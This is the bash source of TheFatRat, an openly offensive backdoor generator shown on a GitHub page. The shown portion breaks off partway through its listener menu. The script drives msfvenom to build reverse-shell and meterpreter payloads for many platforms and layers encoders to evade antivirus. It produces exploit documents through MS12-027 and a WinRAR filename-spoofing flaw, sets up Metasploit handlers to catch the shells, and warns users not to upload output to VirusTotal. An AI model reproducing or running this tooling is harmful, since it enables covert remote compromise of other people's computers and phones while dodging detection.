forked from screetsec/TheFatRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
fatrat
2320 lines (2138 loc) · 88.1 KB
/
fatrat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env bash
# THEFATRAT
#
# Welcome and dont disclaimer
# fatrat Author By Edo -maland-
# Tested On , Backbox , kali Linux and Kali sana v.2
# contact me in [email protected] or [email protected]
# DISTRO Penetration From Indonesia : https://dracos-linux.org/
# Easy tool for generate backdoor with msfvenom ( part of metasploit framework )
# and program compiles a C program with a meterpreter reverse_tcp payload In it that can then be executed on
# a windows host Program to create a C program after it is compiled that will bypass most AV
#
# spinner for Metasploit Generator
spinlong ()
{
bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "
barlength=${#bar}
i=0
while ((i < 100)); do
n=$((i*barlength / 100))
printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
((i += RANDOM%5+2))
sleep 0.02
done
}
# spinner for random seed generator
spinlong2 ()
{
bar=" 01100111001001001110111001101010101010110101001010111001010101010101010"
barlength=${#bar}
i=0
while ((i < 100)); do
n=$((i*barlength / 100))
printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
((i += RANDOM%5+2))
sleep 0.02
done
}
#for checking if your command is correct
gboor ()
{
cat << !
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || $yourip
| LPORT || The Listen Ports || $yourport
| OUTPUTNAME || The Filename output || $fira
+------------++-------------------------++-----------------------+
!
}
#for checking if your command is correct when embed backdoor
gboor2 ()
{
cat << !
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || $yourip
| LPORT || The Listen Ports || $yourport
| OUTPUTNAME || The Filename output || Apk_embed_backdoor.apk
+------------++-------------------------++-----------------------+
!
}
#WARNA KESUKAAN
cyan='\e[0;36m'
green='\e[0;34m'
okegreen='\033[92m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[1;33m'
BlueF='\e[1;34m' #Biru
RESET="\033[00m" #normal
#SAMARAN TAMPAN
path=`pwd`
Versi=1.8.5
codename=Sparta
OS=`uname` #
distro="$(awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&-)"
disrov="$(awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&-)"
SERVICE=service;
apkembed='tools/apkembed.rb' # exec script path
bundle='tools/signapk.jar' #tool included with the android platform source bundle
cert='tools/certificate.pem' #is a test key pairs ,create & use your own key pairs
key='tools/key.pk8'
pwned='python tools/pw_exec.py'
B='tools/prog.cs'
C='tools/dad.c'
apache='tools/apache.c'
paycom='output/payload.c'
pdfcom='output/pdf.c'
bcom='output/Program.cs'
pdfcom='output/pdf.c'
apachecom='output/apache_com.c'
out='output/ip.txt'
pump='tools/pump.py'
reverse1='temp/reverse1.c'
stag='temp/stag.c'
apkconfig=$path/config/apk.tmp
unzip=unzip
temp=$path/temp
file="config/config.path"
#Checking
[[ `id -u` -eq 0 ]] || { echo -e $red "Must be root to run script"; exit 1; }
resize -s 33 84 > /dev/null
clear
#cek config
if [ -f "$file" ]
then
msfconsole=`sed -n 5p $file`
msfvenom=`sed -n 6p $file`
backdoor=`sed -n 7p $file`
searchsploit=`sed -n 8p $file`
else
echo -e $red"Configuration file does not exists , run setup.sh first for config ."
exit 1
fi
#Jangan Nakal CTRL C MULU
trap ctrl_c INT
ctrl_c() {
clear
echo -e $red"[*] (Ctrl + C ) Detected, Trying To Exit ..."
sleep 1
echo ""
Stop
echo -e $red"[*] Stop all service , Wait ..."
sleep 1
echo ""
echo -e $yellow"[*] Thank You For Using TheFatRat =)."
echo ""
echo -e $yellow"[*] Check Dracos Linux LFS, Penetration OS From Indonesia =P."
exit
}
#########################
#CHECK DEPENDICIES
#########################
echo -e $cyan" ____ _ _ _ "
echo " / ___| |__ ___ ___| | _(_)_ __ __ _ "
echo " | | | '_ \ / _ \/ __| |/ / | '_ \ / _\ | "
echo " | |___| | | | __/ (__| <| | | | | (_| | _ _ _ "
echo " \____|_| |_|\___|\___|_|\_\_|_| |_|\__/ | (_) (_) (_)"
echo " |___/ "
echo -e $lightgreen'-- -- +=[(c) 2016-2017 | dracos-linux.org | Linuxsec.org | Hacker Indonesia '
echo -e $cyan'-- -- +=[ Author: Screetsec < Edo Maland > ]=+ -- -- '
echo -e " "
if [ $(id -u) != "0" ]; then
echo [!]::[Check Dependencies] ;
sleep 2
echo [✔]::[Check User]: $USER ;
echo [✔]::[Distro]: $distro ;
sleep 1
echo [x]::[not root]: you need to be [root] to run this script.;
echo ""
sleep 1
exit
else
echo [!]::[Check Dependencies]: ;
sleep 1
echo [✔]::[Distro]: $distro ;
echo [✔]::[Check User]: $USER ;
fi
ping -c 1 google.com > /dev/null 2>&1
if [ "$?" != 0 ]
then
echo [✔]::[Internet Connection]: DONE!;
echo [x]::[warning]: This Script Needs An Active Internet Connection;
sleep 2
else
echo [✔]::[Internet Connection]: connected!;
sleep 2
fi
# check apache if exists
which apache2 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Apache2 Server $distro ]: installation found!;
else
echo [x]::[warning]:this script require apache2 to work ;
echo ""
echo [!]::Run setup.sh to install apache2 ;
echo ""
sleep 2
exit 1
fi
sleep 2
#another apache2 locate
if [ "$distro" = "Ubuntu" ]; then
apache2="/var/www"
elif [ "$distro" = "Kali" ]; then
apache2="/var/www/html"
elif [ "$distro" = "BackBox" ]; then
apache2="/var/www/html"
else
apache2="/var/www/html"
fi
# check msfconsole
which $msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Msfconsole]: installation found!;
else
echo [x]::[warning]:this script require msfconsole installed to work ;
echo ""
echo [!]::Run setup.sh to install metasploit-framework ;
sleep 3
exit 1
fi
sleep 2
# check if msfvenom exists
which $msfvenom > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Msfvenom]: installation found!;
else
echo [x]::[warning]:this script require msfvenom installed to work ;
echo ""
echo [!]::Run setup.sh to install metasploit-framework ;
sleep 3
exit 1
fi
sleep 2
# check zenity if exists
which zenity > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Zenity]: installation found!;
else
echo [x]::[warning]:this script require zenity installed to work ;
echo ""
echo [!]::Run setup.sh to install zenity ;
echo ""
sleep 2
exit 1
fi
sleep 2
# check mingw if exists
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Mingw32]: installation found!;
COMPILER="i586-mingw32msvc-gcc"
else
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo [✔]::[Mingw32]: installation found!;
COMPILER="i686-w64-mingw32-gcc"
else
echo [x]::[warning]:this script require mingw32 installed to work ;
echo ""
echo [!]::Run setup.sh to install ming32 ;
sleep 2
exit 1
fi
fi
sleep 2
# check backdoor-factory if exists
which $backdoor > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Backdoor-factory]: installation found!;
else
echo [x]::[warning]:this script require backdoor-factory installed to work ;
echo ""
echo [!]::Run setup.sh to install backdoor-factory ;
echo ""
sleep 2
exit 1
fi
sleep 2
# check ruby if exists
which ruby > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo [✔]::[Ruby]: installation found!;
else
echo [x]::[warning]:this script require ruby installed to work ;
echo ""
echo [!]::Run setup.sh to install ruby ;
echo ""
sleep 2
exit 1
fi
sleep 2
# check monodevelop if exists
which monodevelop > /dev/null 2>&1
which dmcs > /dev/null 2>&1
if [ -d $find ]; then
echo [✔]::[Monodevelop]: installation found!;
else
echo [x]::[warning]:this script require monodevelop to work ;
echo ""
echo [!]::Run setup.sh to install monodevelop ;
echo ""
sleep 2
exit 1
fi
sleep 2
# check xterm if exists
which xterm > /dev/null 2>&1
if [ -d $find ]; then
echo [✔]::[Xterm]: installation found!;
else
echo [x]::[warning]:this script require xterm to work ;
echo ""
echo [!]::Run setup.sh to install xterm ;
echo ""
sleep 2
exit 1
fi
# check gnome-terminal if exists
which gnome-terminal > /dev/null 2>&1
if [ -d $find ]; then
echo [✔]::[Gnome-terminal]: installation found!;
else
echo [x]::[warning]:this script require gnome-terminal to work ;
echo ""
echo [!]::Run setup.sh to install gnome-terminal ;
echo ""
sleep 2
exit 1
fi
# check apktool if exists
which apktool > /dev/null 2>&1
if [ -d $find ]; then
echo [✔]::[Apktool]: installation found!;
else
echo [x]::[warning]:this script require apktool to work ;
echo ""
echo [!]::Run setup.sh to install apktool ;
echo ""
sleep 2
exit 1
fi
# check upx if exists
which upx > /dev/null 2>&1
if [ -d $find ]; then
echo [✔]::[Upx]: installation found!;
else
echo [x]::[warning]:this script require upx to work ;
echo ""
echo [!]::Run setup.sh to install upx ;
echo ""
sleep 2
exit 1
fi
#WARNING !!!
clear
echo -e $red""
echo " ";
echo "=================================================================="
echo " WARNING ! WARNING ! WARNING ! WARNING ! WARNING ! "
echo " YOU CAN UPLOAD OUTPUT/BACKDOOR FILE TO WWW.NODISTRIBUTE.COM "
echo "=================================================================="
echo " ____ _____ _____ _____ _____ _____ __ _____ _____ ____ ";
echo "| \| | | |_ _| | | | _ | | | | _ | \ ";
echo "| | | | | | | | | | | | | __| |__| | | | | | ";
echo "|____/|_____|_|___| |_| |_____|__| |_____|_____|__|__|____/ ";
echo " _____ _____ ";
echo " |_ _| | ";
echo " | | | | | ";
echo " |_| |_____| ";
echo " _____ _____ _____ _____ _____ _____ _____ _____ _____ __ ";
echo "| | | | __ | | | __| |_ _| |_ _| _ | | ";
echo "| | |- -| -| | |__ | | | | | | | | | | |__ ";
echo " \___/|_____|__|__|_____|_____| |_| |_____| |_| |__|__|_____| ";
echo "=================================================================="
echo " PLEASE DON'T UPLOAD BACKDOOT TO WWW.VIRUSTOTAL.COM "
echo " YOU CAN UPLOAD OUTPUT/BACKDOOR FILE TO WWW.NODISTRIBUTE.COM "
echo "=================================================================="
echo ""
echo -n "Press any key to continue .............."
read warning
##############################
#CHECKING POSTGRESQL
#############################
if ps ax | grep -v grep | grep postgresql > /dev/null
then
clear
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $white":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $lightgreen""
echo " ___________ _ _______________ ___ __ ___ ___ _______ _______";
echo " / __/ __/ _ \ | / / _/ ___/ __/ / _ \/ / / / |/ / |/ / _/ |/ / ___/";
echo " _\ \/ _// , _/ |/ // // /__/ _/ / , _/ /_/ / / // // / (_ / ";
echo "/___/___/_/|_||___/___/\___/___/ /_/|_|\____/_/|_/_/|_/___/_/|_/\___/ ";
echo " ";
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $white":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
sleep 2
else
clear
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $white"::::::::::::::::::::$white "Metasploit service is not running"$white ::::::::::::::::::"
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo ""
echo -e $white " /) "
echo " // "
echo " (( "
echo " // "
echo " .-. // .-. "
echo " / \- ((=-/ \ "
echo " \ \ / "
echo " -( ___ ))__)- "
echo " .-' // '-. "
echo " / (( \ "
echo " | * | "
echo " \ / "
echo " \ |_w_| / "
echo " _) \ / (_ "
echo " jgs (((---' '---))) "
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
echo -e $white":::::::::::::::: Wait for starting a Service Postgresql ::::::::::::::::"
echo -e $cyan":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
fi
#Started Service postgresql & apache
if [ "$distro" = "Kali" ]; then
/etc/init.d/postgresql start > /dev/null 2>&1
/etc/init.d/metasploit start > /dev/null 2>&1
/etc/init.d/apache2 start > /dev/null 2>&1
else
/etc/init.d/postgresql start > /dev/null 2>&1
/etc/init.d/metasploit start > /dev/null 2>&1
/etc/init.d/apache2 start > /dev/null 2>&1
fi
read -p "Press [Enter] key to Continue..."
clear
function Stop() {
#Stoped Service postgresql & apache
if [ "$distro" = "Kali" ]; then
/etc/init.d/postgresql stop > /dev/null 2>&1
/etc/init.d/metasploit stop > /dev/null 2>&1
/etc/init.d/apache2 stop > /dev/null 2>&1
else
/etc/init.d/metasploit stop > /dev/null 2>&1
/etc/init.d/apache2 stop > /dev/null 2>&1
/etc/init.d/postgresql stop > /dev/null 2>&1
fi
}
function cmsfvenom() {
clear
echo -e $okegreen" ===================================================================== "
echo -e " | $cyan Create Payload with msfvenom ( must install msfvenom ) $okegreen | "
echo -e $okegreen" ===================================================================== "
echo -e $red" ___________ "
echo -e " | |======[*** $yellow ____ _ "
echo -e $red" | $yellow MSFVENOM $red \ $yellow / ___|_ __ ___ ____| |_ ___ _ __ "
echo -e $red" |_____________\_______ $yellow | | | '__/ _ \/ _ | __/ _ \| '__|"
echo -e $red" |==[v1.2 >]===========\ $yellow | |___| | | __/ (_| | || (_) | | "
echo -e $red" |______________________\ $yellow \____|_| \___|\____|\__\___/|_| "
echo -e $yellow" \(@)(@)(@)(@)(@)(@)(@)/ "
echo -e $red" ********************* "
echo ""
echo -e $okegreen" ===================================================================== "
echo -e " | $cyan Created by $red Edo Maland ( Screetsec ) $okegreen | "
echo -e $okegreen" ===================================================================== "
echo ""
echo -e $okegreen " [1] LINUX >> FatRat.elf"
echo -e " [2] WINDOWS >> FatRat.exe"
echo -e " [3] ANDROID >> FatRat.apk"
echo -e " [4] MAC >> FatRat.macho"
echo -e " [5] PHP >> FatRat.php"
echo -e " [6] ASP >> FatRat.asp"
echo -e " [7] JSP >> FatRat.jsp"
echo -e " [8] WAR >> FatRat.war"
echo -e " [9] Python >> FatRat.py "
echo -e " [10] Bash >> FatRat.sh"
echo -e " [11] Perl >> FatRat.pl"
echo -e " [12] doc >> Microsoft.doc "$yellow"( not macro attack )"
echo -e $okegreen" [13] rar >> bacdoor.rar "$yellow"( Winrar old version)"
echo -e $okegreen" [14] Back to Menu "
echo -e " "
echo -n -e $red' \033[4mCreator$FATRAT:\033[0m>> '; tput sgr0 #insert your choice
read fatrat1
if test $fatrat1 == '1'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "linux/ppc/shell_reverse_tcp" FALSE "linux/x86/shell_reverse_tcp" FALSE "linux/x86/meterpreter/reverse_tcp" FALSE "osx/armle/shell_reverse_tcp" FALSE "osx/ppc/shell_reverse_tcp" FALSE "bsd/x86/shell/reverse_tcp" FALSE "solaris/x86/shell_reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
spinlong
echo ""
echo ""
gboor
spinlong
echo ""
echo ""
$msfvenom -p $payload LHOST=$yourip LPORT=$yourport -f elf > output/$fira.elf
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '2'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" FALSE "windows/powershell_bind_tcp" FALSE "windows/powershell_reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo ""
echo ""
gboor
spinlong
echo ""
echo ""
$msfvenom -p $payload LHOST=$yourip LPORT=$yourport -f raw -e x86/shikata_ga_nai -i 10 | $msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | $msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 1| $msfvenom -a x86 --platform windows -e x86/call4_dword_xor -i 1 | $msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 1 -f exe -o output/$fira.exe
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '3'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "android/meterpreter/reverse_http" FALSE "android/meterpreter/reverse_https" FALSE "android/meterpreter/reverse_tcp" FALSE "android/shell/reverse_http" FALSE "android/shell/reverse_https" FALSE "android/shell/reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo ""
echo ""
gboor
spinlong
echo ""
echo ""
$msfvenom -p android/meterpreter/reverse_tcp LHOST=$yourip LPORT=$yourport R > output/$fira.apk
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '4'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong
echo ""
echo ""
$msfvenom -p osx/x86/shell_reverse_tcp LHOST=$yourip LPORT=$yourport -f macho > output/$fira.macho
echo -e "Shell Saved To outputFolder "
elif test $fatrat1 == '5'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p php/meterpreter/reverse_tcp LHOST=$yourip LPORT=$yourport R > output/$fira.php
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '6'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p windows/meterpreter/reverse_tcp LHOST=$yourip LPORT=$yourport -f asp > output/$fira.asp
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '7'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p java/jsp_shell_reverse_tcp LHOST=$yourip LPORT=$yourport -f raw > output/$fira.jsp
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '8'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p java/jsp_shell_reverse_tcp LHOST=$yourip LPORT=$yourport -f war > output/$fira.war
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '9'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p cmd/unix/reverse_python LHOST=$yourip LPORT=$yourport -f raw > output/$fira.py
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '10'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p cmd/unix/reverse_bash LHOST=$yourip LPORT=$yourport -f raw > output/$fira.sh
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '11'
then
echo ""
spinlong
echo ""
read -p ' Set LHOST IP: ' yourip; read -p ' Set LPORT: ' yourport; read -p ' Please enter the base name for output files : ' fira
spinlong
echo ""
echo ""
gboor
spinlong2
echo ""
echo ""
$msfvenom -p cmd/unix/reverse_perl LHOST=$yourip LPORT=$yourport -f raw > output/$fira.pl
echo -e "Shell Saved To output Folder "
elif test $fatrat1 == '12'
then
echo
echo -e $yellow" Worked on Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] "
echo -e $okegreen""
echo -ne " SET LHOST : ";tput sgr0
read yourip
echo ""
echo -ne $okegreen " SET LPORT : ";tput sgr0
read yourport
echo ""
echo -ne $okegreen " Please enter the base name for output files :" ;tput sgr0
read fira
echo ""
payloads=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" --width 350 --height 265) > /dev/null 2>&1
spinlong
echo ""
echo ""
gboor
spinlong
echo ""
xterm -T " TheFatRat < DOC BUILDER > " -geometry 110x23 -e "$msfconsole -x 'use exploit/windows/fileformat/ms12_027_mscomctl_bof; set payload $payloads ; set FILENAME $fira.doc; set lhost $yourip ; set lport $yourport; exploit; exit -y'"
echo ""
mv ~/.msf4/local/$fira.doc $path/output/$fira.doc
echo -e $okegreen""
echo -e $yellow" Backdoor doc Saved To output Folder "
echo ""
echo -ne $okegreen" Press any key to continue ......... "
read continue
elif test $fatrat1 == '13'
then
echo
echo -e $yellow" Worked on All Windows "
echo -e $okegreen""
echo -ne " SET LHOST : ";tput sgr0
read yourip
echo ""
echo -ne $okegreen " SET LPORT : ";tput sgr0
read yourport
echo ""
echo -ne $okegreen " Please enter the base name for output files ex: test.zip / test.rar):" ;tput sgr0
read fira
echo ""
echo -ne $okegreen " Please enter spoofed file name to show ex : stuff.txt :" ;tput sgr0
read fira2
echo ""
payloads=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" --width 350 --height 265) > /dev/null 2>&1
spinlong
echo ""
echo ""
gboor
spinlong
echo ""
xterm -T " TheFatRat < RAR BUILDER > " -geometry 110x23 -e "$msfconsole -x 'use exploit/windows/fileformat/winrar_name_spoofing; set payload $payloads; set FILENAME $fira; set SPOOF $fira2; set lhost $yourip; set lport $yourport; exploit; exit -y'"
echo ""
mv ~/.msf4/local/$fira $path/output/$fira
echo -e $okegreen""
echo -e $yellow" Backdoor Saved To output Folder "
echo ""
echo -ne $okegreen" Press any key to continue ......... "
read continue
elif test $fatrat1 == '14'
then
clear
menu
else
echo -e " Incorrect Number"
fi
echo ""
echo -n -e $okegreen"Do you want exit? ( Yes / No ) : "
read back
if [ $back != 'n' ] && [ $back != 'N' ]
then
clear
exit
elif [ $back != 'y' ] && [ $back != 'Y' ]
then
cmsfvenom
fi
}
function clisteners() {
clear
echo -e $okegreen" ===================================================================== "
echo -e " | $cyan Create Listener with metasploit ( must install metasploit ) $okegreen | "
echo -e $okegreen" ===================================================================== "
echo -e $red" .____ .__ __ ";
echo " | | |__| _______/ |_ ____ ____ ___________ ______"
echo " | | | |/ ___/\ __\/ __ \ / \_/ __ \_ __ \/ ___/"
echo " | |___| |\___ \ | | \ ___/| | \ ___/| | \/\___ \ "
echo " |_______ \__/____ > |__| \___ >___| /\___ >__| /____ >"
echo " \/ \/ \/ \/ \/ \/ "
echo -e $" >> v1.3 "
echo -e $okegreen" ===================================================================== "
echo -e " | $cyan Created by $red Edo Maland ( Screetsec ) $okegreen | "
echo -e $okegreen" ===================================================================== "
echo ""
echo -e $okegreen" [1] Liseners for payload linux"
echo -e " [2] Liseners for payload Windows"
echo -e " [3] Liseners for payload Mac"
echo -e " [4] Liseners for payload Android"
echo -e " [5] Back to Menu "
echo -e " "
echo -n -e $red' \033[4mListeners$fatrat:\033[0m>> '; tput sgr0 #insert your choice
read fatrat1
if test $fatrat1 == '1' #LINUX
then
rm temp/*.rc > /dev/null 2>&1
touch "temp/meterpreter_linux.rc"
echo use exploit/multi/handler > "temp/meterpreter_linux.rc"
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "linux/ppc/shell_reverse_tcp" FALSE "linux/x86/shell_reverse_tcp" FALSE "linux/x86/meterpreter/reverse_tcp" FALSE "osx/armle/shell_reverse_tcp" FALSE "osx/ppc/shell_reverse_tcp" FALSE "bsd/x86/shell/reverse_tcp" FALSE "solaris/x86/shell_reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo set PAYLOAD $payload >> "temp/meterpreter_linux.rc"
echo -e $okegreen ""
read -p ' Set LHOST IP: ' uservar
echo set LHOST $uservar >> "temp/meterpreter_linux.rc"
read -p ' Set LPORT: ' uservar
echo set LPORT $uservar >> "temp/meterpreter_linux.rc"
echo set ExitOnSession false >> "temp/meterpreter_linux.rc"
echo exploit -j >> "temp/meterpreter_linux.rc"
xterm -fa monaco -fs 13 -bg black -e $msfconsole -r "temp/meterpreter_linux.rc"
clear
elif test $fatrat1 == '2' #Windows
then
